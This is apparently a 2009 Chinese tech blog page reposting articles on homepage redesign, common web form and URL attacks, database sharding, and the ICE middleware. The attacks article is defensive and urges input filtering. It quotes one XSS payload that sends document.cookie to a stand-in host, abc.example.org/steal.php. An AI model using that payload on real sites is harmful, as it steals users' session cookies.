技术起点

为什么首页最后设计

作者：Lightning@小宝 发布时间：July 31, 2009 分类：产品&需求&体验

在我做过的N多项目中，基本都有个跑不开的怪圈——首页很难设计。根据进度安排，首页必须按时出来，不然没法review，也没法测试。于是，首页只能在后续工作中不断的redesign。而且我发现，往往都是必须整个产品结束之后，首页调整才算完成。

仔细思考，为什么网站需要首页？因为内容需要索引，任务需要入口。在任何角度，首页都是贯穿整个体系的中心点，牵一发而动全身。或许，此话题得放大到改版来看。

六年前为赚零花钱，经常接到类似“重新设计XX网站首页”的私活。能做的事情，无非就是根据已有内容调调布局、板块，优化字体、行距等现在看来纯属“信息设计”范畴的小问题。虽然没受过专业训练，自己专业知识结合个人审美，但也比很多“设计师”做的出色。

四年前做业内某互动娱乐门户网站，三个月之内进行了三次大改版。结果是一次不如一次，究其原因，我认为关键在于不应该先改首页。改首页的确容易出“政绩”，但改动频繁对用户来说却是场灾难，搞不好还以为走错、或者网站出啥事儿了。

任何改版都会产生数据震荡，这是因为受用户习惯的影响，短暂周期内用户有点不适合。但如果是好的改版，数据应该在两周内恢复，并且能看到逐步提升的趋势。首页所放内容应该保证宁缺勿滥，慢慢补充总比来回折腾好，切忌先入为主制定“规范”。具体原因，可参考对比暗示中的观点“大改时，用户会重点看哪些改的不错；小改时，用户会更关注哪些还需要再改。”

因此，改版是动作越轻、动静越小对用户影响越少。全站改版应该遵从“自下而上”原则，先从结构最基础的功能开始，首页最后；单页改版应该遵从“由内而外”原则，先从结构最里边的小模块开始，页面布局最后。如下观点大家都不陌生，但陈旧思路也不是完全错误：

“首页风格定下来，全站就好做了。”

是这样么？完全不是。但这个出发点犯了“以风格为中心”的错误。因为用户首先要的并不是风格，而是信息和内容。首页需要放的内容一定提取自各下级组织单元，在整个信息结构基础不牢靠前提下诞生的首页，生命周期可想而知。

“首页是用户看到的第一个页面，马虎不得。”

是这样么？不一定是。得根据不同类型产品来具体分析，比如走媒体路线的新闻资讯网站，走商务路线的百货卖场网站，首页都很重要，但大多访问量肯定来自最底层的内容和商品信息页面。提供服务的产品不同，比如有隐私性质的邮箱，最重要肯定就只有首页的登录。

“首页设计最能反映web设计师的水准。”

是这样么？的确是。因为做好首页的前提是做好全站，同时，设计师必须精准把握传达点，引导不同任务行为流。首页只是默认进入页面的代称，与叫index,default的传统一样，但不同类型产品需要突出不同侧重点。比如，登录框直接放首页，还是只链接引导？具体情况需要具体分析。再比如，我固执的认为直接介绍就是个人网站最好的首页，没必要再“关于”自己。
转自:http://blog.rexsong.com/?p=6132

常见表单及URL攻击的几种方法

作者：Lightning@小宝 发布时间：July 31, 2009 分类：网络安全防护

有时候程序员为了偷懒或者是在无意识的情况下缺少了对外部数据的过滤，Web安全习惯上将所有用户输入的数据假定为受污染的数据（即可能带有攻击性的数据），现在比较流行的XSS（跨站脚本攻击）就是利用对用户输入过滤不完全而进行的攻击，因为用户数据过滤不完全会导致很多很多问题，我这里只是简单的介绍几种比较常见的表单及URL攻击方式，希望读者能够最大限度的注意过滤用户输入。

1)表单数据泄漏攻击

这个一般刚入行的人可能会犯错，说得通俗一点，就是该用POST方式提交数据的时候，用了GET方式提交数据，比如，用户登录时候用了GET方法，导致用户名和密码都在URL上直接显示出来了，当然假如真的傻到这种程度，这种应用大多还是属于自己玩玩的东西，不是产品。还有一种是登录等操作，在提交数据的时候被窃听或者拦截了，这种没有很好的方式去解决，最多就是利用可以在浏览器上执行的脚本，比如JavaScript对密码和用户加密后提交到服务器，而且最好采用不可逆的公共算法，在浏览器端执行的脚本如果使用自己的算法，会增加被破解的几率，当然如果你的加密程度能超过或者接近现在流行的公共加密算法，那么也是可以的:)

2)语义URL攻击

这也是利用提交的形式及参数进行攻击的，假如使用GET方式找回密码，url为：http://example.org/private.php?user=abc&email=abc@11.org，那么产生的攻击也很简单，只要将user=abc改成任意其他的存在的用户密码就会发到后面的email中，轻松获取别人密码，POST方式大体也是通过窃听方式获得提交的数据

3）文件上传攻击

文件上传造成的危害在表单攻击中是最大的，假如成功入侵，最坏的情况甚至是可以干任何想干的事情，因此对此不可小觑。常见的有大文件攻击，假如你的服务端没有做限制的话，那么你的硬盘很快就会被塞满，或者是你在客户端中只是简单的限制了一下，那些对于心怀不轨者都是摆设，太容易绕开了。假如上传的是一个可执行的脚本，在某种情况下会激活这个脚本，那么后果就不堪设想，验证上传文件的后缀和限制上传文件的种类是能避免大多数低级别的攻击者，但根本还是让存放用户上传的文件的目录没有执行权限，脚本不能执行，那么它也仅仅是一般文本而已。

4）跨站脚本攻击

跨站脚本攻击是众所周知的攻击方式之一。所有平台上的Web应用都深受其扰，PHP应用也不例外。

所有有输入的应用都面临着风险。Webmail，论坛，留言本，甚至是Blog。事实上，大多数Web应用提供输入是出于更吸引人气的目的，但同时这也会把自己置于危险之中。如果输入没有正确地进行过滤和转义，跨站脚本漏洞就产生了。

比如在一个博客平台提供商，一个心怀不轨的用户在写博客时故意在内容中插入<script> document.location = ’http://abc.example.org/steal.php?cookies=’ + document.cookie</script>，结果所有浏览这篇文章的读者的Cookie信息都在不知情的情况下发给了第三方。

5）HTTP请求欺骗攻击

所谓上有政策下有对策，很多项目为了最大程度的得到高可信度的用户输入，甚至添加了判断referer的功能，可惜这个东西十分的不靠谱，随便一个CURL就可以欺骗过去。

毕竟所有的传输都只是个协议而已，而HTTP协议本身只是负责传输，并不负责诸如安全之类的其他问题，所以过程怎么伪造都是可以的，只要攻击者足够的熟悉HTTP协议，针对HTTP协议本身的攻击，似乎目前还没有看到，虽然欺骗、攻击随处可见，方式变化多样，只要做好了过滤，多想一点再多想一点，任何攻击得到的都是一个错误页面而已 
转自：崔玉松

带你深入了解Web站点数据库的分布存储

作者：Lightning@小宝 发布时间：July 31, 2009 分类：互联网系统架构

在Web 2.0时代，网站将会经常面临着快速增加的访问量，但是我们的应用如何满足用户的访问需求，而且基本上我们看到的情况都是性能瓶颈都是在数据库上，这个不怪数据库，毕竟要满足很大访问量确实对于任何一款数据库都是很大的压力，不论是商业数据库Oracle、MS sql Server、DB2之类，还是开源的MySQL、PostgreSQL，都是很大的挑战，解决的方法很简单，就是把数据分散在不同的数据库上（可以是硬 件上的，也可以是逻辑上的），本文就是主要讨论如何数据库分散存储的的问题。

目前主要分布存储的方式都是按照一定的方式进行切分，主要是垂直切分（纵向）和水平切分（横向）两种方式，当然，也有两种结合的方式，达到更贴切的切分粒度。

1. 垂直切分（纵向）数据是数据库切分按照网站业务、产品进行切分，比如用户数据、博客文章数据、照片数据、标签数据、群组数据等等每个业务一个独立的数据库或者数据库服务器。

2. 水平切分（横向）数据是把所有数据当作一个大产品，但是把所有的平面数据按照某些Key（比如用户名）分散在不同数据库或者数据库服务器上，分散对数据访问的压力，这种方式也是本文主要要探讨的。

本文主要针对的的 MySQL/PostgreSQL 类的开源数据库，同时平台是在 linux/FreeBSD，使用 php/Perl/Ruby/Python 等脚本语言，搭配 Apache/Lighttpd 等Web服务器 的平台下面的Web应用，不讨论静态文件的存储，比如视频、图片、CSS、JS，那是另外一个话题。

说明：下面将会反复提到的一个名次“节点”（Node），指的是一个数据库节点，可能是物理的一台数据库服务器，也可能是一个数据库，一般情况是指一台数据库服务器，并且是具有 Master/Slave 结构的数据库服务器，我们查看一下图片，了解这样节点的架构：

一、基于散列的分布方式

1. 散列方式介绍

基 于散列（Hash）的分布存储方式，主要是依赖主要Key和散列算法，比如以用户为主的应用主要的角色就是用户，那么做Key的就可以是用户ID或者是用 户名、邮件地址之类（该值必须在站点中随处传递），使用这个唯一值作为Key，通过对这个Key进行散列算法，把不同的用户数据分散在不同的数据库节点 （Node）上。

我们通过简单的实例来描述这个问题：比如有一个应用，Key是用户ID，拥有10个数据库节点，最简单的散列算法是我们 用户ID数模以我们所有节点数，余数就是对应的节点机器，算法：所在节点 = 用户ID % 总节点数，那么，用户ID为125的用户所在节点：125 % 10 = 5，那么应该在名字为5的节点上。同样的，可以构造更为强大合理的Hash算法来更均匀的分配用户到不同的节点上。

我们查看一下采用散列分布方式的数据结构图：

2. 散列分布存储方式的扩容

我们知道既然定义了一个散列算法，那么这些Key就会按部就班的分散到指定节点上，但是如果目前的所有节点不够满足要求怎么办？这就存在一个扩容的问题，扩容首当其冲的就是要修改散列算法，同时数据也要根据散列算法进修迁移或者修改。

(1) 迁移方式扩容：修 改散列算法以后，比如之前是10个节点，现在增加到20个节点，那么Hash算法就是[模20]，相应的存在一个以前的节点被分配的数据会比较多，但是新 加入的节点数据少的不平衡的状态，那么可以考虑使用把以前数据中的数据按照Key使用新的Hash算法进行运算出新节点，把数据迁移到新节点，缺点但是这 个成本相应比较大，不稳定性增加；好处是数据比较均匀，并且能够充分利用新旧节点。

(2) 充分利用新节点：增 加新节点以后，Hash算法把新加入的数据全部Hash到新节点上，不再往旧节点上分配数据，这样不存在迁移数据的成本。优点是只需要修改Hash算法， 无须迁移数据就能够简单的增加节点，但是在查询数据的时候，必须使用考虑到旧Key使用旧Hash算法，新增加的Key使用新的Hash算法，不然无法查 找到数据所在节点。缺点很明显，一个是Hash算法复杂度增加，如果频繁的增加新节点，算法将非常复杂，无法维护，另外一个方面是旧节点无法充分利用资源 了，因为旧节点只是单纯的保留旧Key数据，当然了，这个也有合适的解决方案。

总结来说，散列方式分布数据，要新增节点比较困难和繁琐，但是也有很多适合的场合，特别适合能够预计到未来数据量大小的应用，但是普遍 Web2.0 网站都无法预计到数据量。

二、基于全局节点分配方式

1. 全局节点分配方式介绍

就是把所有Key信息与数据库节点之间的映射关系记录下来，保存到全局表中，当需要访问某个节点的时候，首先去全局表中查找，找到以后再定位到相应节点。全局表的存储方式一般两种：

(1) 采用节点数据库本身（MySQL/PostgreSQL）存储节点信息，能够远程访问，为了保证性能，同时配合使用 Heap(MEMORY) 内存表，或者是使用 Memcached 缓存方式来缓存，加速节点查找

(2) 采用 BDB(BerkeleyDB)、DBM/GDBM/NDBM 这类本地文件数据库，基于 key=>value 哈希数据库，查找性能比较高，同时结合 APC、Memcached 之类的缓存加速。

第 一种存储方式是容易查询（包括远程查询），缺点是性能不太好（这个是所有关系型数据库的通病）；第二种方式的有点是本地查询速度很快（特别是hash型数 据库，时间复杂度是O(1)，比较快），缺点是无法远程使用，并且无法在多台机器中间同步共享数据，存在数据一致的情况。

我们来描述实施 大概结构：假如我们有10个数据库节点，一个全局数据库用于存储Key到节点的映射信息，假设全局数据库有一个表叫做 AllNode ，包含两个字段，Key 和 NodeID，假设我们继续按照上面的案例，用户ID是Key，并且有一个用户ID为125的用户，它对应的节点，我们查询表获得：

Key  NodeID 
13    2 
148   5 
22    9 
125   6

可以确认这个用户ID为125的用户，所在的节点是6，那么就可以迅速定位到该节点，进行数据的处理。

我们来查看一下分布存储结构图：

2. 全局节点分布方式的扩容

全局节点分配方式同样存在扩容的问题，不过它早就考虑到这个问题，并且这么设计就是为了便于扩容，主要的扩容方式是两种：

(1) 通过节点自然增加来分配Key到节点的映射扩容

这 种是最典型、最简单、最节约机器资源的扩容方式，大致就是按照每个节点分配指定的数据量，比如一个节点存储10万用户数据，第一个节点存储0-10w用户 数据，第二个节点存储10w-20w用户数据，第三个节点存储20w-30w用户信息，依此类推，用户增加到一定数据量就增加节点服务器，同时把Key分 配到新增加的节点上，映射关系记录到全局表中，这样可以无限的增加节点。存在的问题是，如果早期的节点用户访问频率比较低，而后期增加的节点用户访问频率 比较高，则存在节点服务器负载不均衡的现象，这个也是可以想方案解决的。

(2) 通过概率算法来映射Key到节点的的扩容

这种方式是在既然有的节点基础上，给每个节点设定一个被分配到Key的概率，然后分配Key的时候，按照每个节点被指定的概率进行分配，如果每个节点平均的数据容量超过了指定的百分比，比如50%，那么这时候就考虑增加新节点，那么新节点增加Key的概率要大于旧节点。

一般情况下，对于节点的被分配的概率也是记录在数据库中的，比如我们把所有的概率为100，共有10个节点，那么设定每个节点被分配的数据的概率为10，我们查看数据表结构：

NodeID Weight 
1        10 
2        10 
3        10

现在新加入了一个 节点，新加入的节点，被分配Key的几率要大于旧节点，那么就必须对这个新加入的节点进行概率计算，计算公式：10х+у=100, у>х，得出：у{10...90}，х{1...9}，x是单个旧节点的概率，旧节点的每个节点的概率是一样的，y是新节点的概率，按照这个计算 公式，推算出新节点y的概率的范围，具体按照具体不同应用的概率公式进行计算。

三、存在的问题

现在我们来分析和解决一下我们上面两种分布存储方式的存在的问题，便于在实际考虑架构的时候能够避免或者是融合一些问题和缺点。

1. 散列和全局分配方式都存在问题

(1) 散列方式扩容不是很方便，必须修改散列算法，同时可能还需要对数据进行迁移，它的优点是从Key定位一个节点非常快，O(1)的时间复杂度，而且基本不需要查询数据库，节约响应时间。

(2) 全局分配方式存在的问题最明显的是单点故障，全局数据库down掉将影响所有应用。另外一个问题是查询量大，对每个Key节点的操作都必须经过全局数据库，压力很大，优点是扩容方便，增加节点简单。

2. 分布存储带来的搜索和统计问题

(1) 一般搜索或统计都是对所有数据进行处理，但因为拆分以后，数据分散在不同节点机器上，无法进行全局查找和统计。解决方案一是对主要的基础数据存储在全局表中，便于查找和统计，但这类数据不宜太多，部分核心数据。

(2) 采用站内搜索引擎来索引和记录全部数据，比如采用 Lucene 等开源索引系统进行所有数据的索引，便于搜索。 对于统计操作可以采用后台非实时统计，可采用遍历所有节点的方式，但效率低下。

3. 性能优化问题

(1) 散列算法，节点概率和分配等为了提高性能都可以使用编译语言开发，做成lib或者是所有php扩展形式。

(2) 对于采用 MySQL 的情况，可以采用自定义的数据库连接池，采用 Apache Module 形式加载，能够自由定制的采用各种连接方式。

(3) 对于全局数据或都频繁访问的数据，可以采用APC、Memcache、DBM、BDB、共享内存、文件系统等各种方式进行缓存，减少数据库的访问压力。

(4) 采用数据本身的强大处理机制，比如 MySQL5 的表分区或者是 MySQL5 的Cluster 。另外建议在实际架构中采用InnoDB表引擎作为主要存储引擎，MyISAM作为一些日志、统计数据等场合，不论在安全、可靠性、速度都有保障。

转自：赛迪网 

【转载】消息中间件ICE(支持php)

作者：Lightning@小宝 发布时间：July 31, 2009 分类：概念&操作系统&中间件

来自：http://blog.csdn.net/sfdev/archive/2008/11/16/3311172.aspx

终于知道ICE是啥意思啦，呵呵！本篇主要是对ICE的一个概览，让我们能够比较全面的了解它主要是项什么技术？主要应用场景？以及主要核心组件等；后续还会继续推出一些实战的心得与笔记；

ICE【Internet Communications Engine】是ZeroC公司的主打、核心产品，在ICE的基础上，还有很多的衍生产品，比如Ice-E【Embedded Ice】、ICE Touch、ICE for Silverlight等；ICE是一种现代的面向对象中间件，可用于替代像CORBA或COM/DCOM/COM+这样的中间件，目前已经支持的语言包括 C++, .NET, Java, Python, Ruby, PHP。他不止易于学习，还为各种有着苛刻的技术要求的应用提供了强大的网络基础设施；在像SOAP或XML-RPC这样的技术太慢、或是没有提供足够的可伸缩性或安全性之处，正是使用Ice最合适的业务场景。依据ZeroC的评测，和CORBA参考实现中性能最好的TAO【The ACM（The Adaptive Communication Environment） ORB】对比，性能提升非常明显，具体可参见：http://www.zeroc.com/performance/index.html；

作为一个高性能的互联网通信平台，ICE包含了很多分层的服务和插件【Plugins】，并且简单、高效和强大。ICE主要由以下几部分组成：

• Slice
  ICE的规范语言，跟CORBA的IDL【Interface Definition Language】等价的东西。Slice建立了客户端和服务器端共同遵守的契约：接口。Slice也用来描述对象持久数据。
• Slice Compilers
  Slice的规范语言可以影射成多种编程语言。目前ICE支持C++，.Net，Java，Python，Ruby，PHP的语言映射。Ice的客户端和服务器端协同工作，而不会知道分别实现的是何种编程语言。前面提到的语言映射都是指服务端，对于客户端，Ice支持的语言更多，比如还支持Silverlight、iPhone；
• Ice
  Ice的核心库。在众多的特性当中，Ice核心库通过一个高效的协议(包含TCP/UDP层上协议压缩)来管理所有的通信任务，为多线程服务器提供了一个灵活的线程池，并且有特别的功能来支持上百万对象的可扩展性。
• IceUtil
  一些常用的功能函数集。例如Unicode处理和多线程编程，是用C++写成。
• IceBox
  一个专用于ICE应用的应用服务器。ICEBox可以方便地运行和管理动态加载、共享库或java类的形式Ice的服务。
• IceGrid
  一个针对于高级网格计划的成熟服务激活和部署工具。以前的版本是IcePack，它能大大简化在异构网络之间部署应用的复杂性。只要简单的编写XML格式的一个部署描述文件，IcePack就能自动处理剩下的工作。最新的IceGrid在IcePack的基础上增加了在分布式环境下的部署功能；
• Freeze
  Freeze提供了Ice Servants对象的自动持久性。通过几行代码，一个应用就可以生成一个高度可扩展的逐出器(evictor)来高效地管理持久对象。
• FreezeScript
  在大的软件项目里，持久对象的数据类型改变很常见。为了最小化这些变化的影响，FreezeScript提供了相应的工具来检查和移植Freeze生成的数据库。这些工具支持XML格式的配置脚本，易于使用。
• IceSSL
  用于Ice核心的动态的SSL传输插件。提供了认证、加密和消息完整性，使用工业标准的SSL协议来实现。
• Glacier
  面向对象中间件平台的一个最大的挑战是安全性和防火墙。Glacier是Ice的防火墙解决方案，它大大简化了安全程序的部署。Glacier认证和过滤客户的请求并允许服务器通过安全的方式回调客户端对象。结合IceSSL的使用，Glacier提供了强大的安全解决方案，即安全，又易于配置管理。目前最新的版本是Glacier2。
• IceStorm
  一个支持联盟的消息服务。和大多数的其他消息和事件服务相比，IceStorm支持有类型的事件，这意味着通过联盟广播一个消息和调用一个接口上的一个方法一样容易。
• IcePatch
  一个软件修补和分发的服务。为确保运行的软件是最新的版本，要经常更新软件，这是一件乏味的工作。IcePatch自动更新在某个目录层次下的文件。只有需要更新的文件会下作到客户端，为了快速的下载更新，IcePatch使用的高效的压缩算法。目前最新的版本是IcePatch2。

前面我们提到ICE可以用来完全替代CORBA，曾经的一位CORBA大师Frank  Pilhofer这样评价过：ICE可以看成是Millennium  CORBA，扔掉了在其生命期里累积的包袱，但却保留了CORBA的全部好特性，增加了一些特性，并以一种更加明晰而整洁的方式设计它们；由于对CORBA知之甚少，所以对于ICE和CORBA/SOAP之间真正的区别体会并不多，有兴趣的同学可以参考如下的链接：
ICE vs CORBA：http://www.zeroc.com/iceVsCorba.html
ICE vs SOAP：http://www.zeroc.com/iceVsSoap.html

【转载】面试者让金山负责webgame的高管崩溃了

作者：Lightning@小宝 发布时间：July 30, 2009 分类：生活 & 职场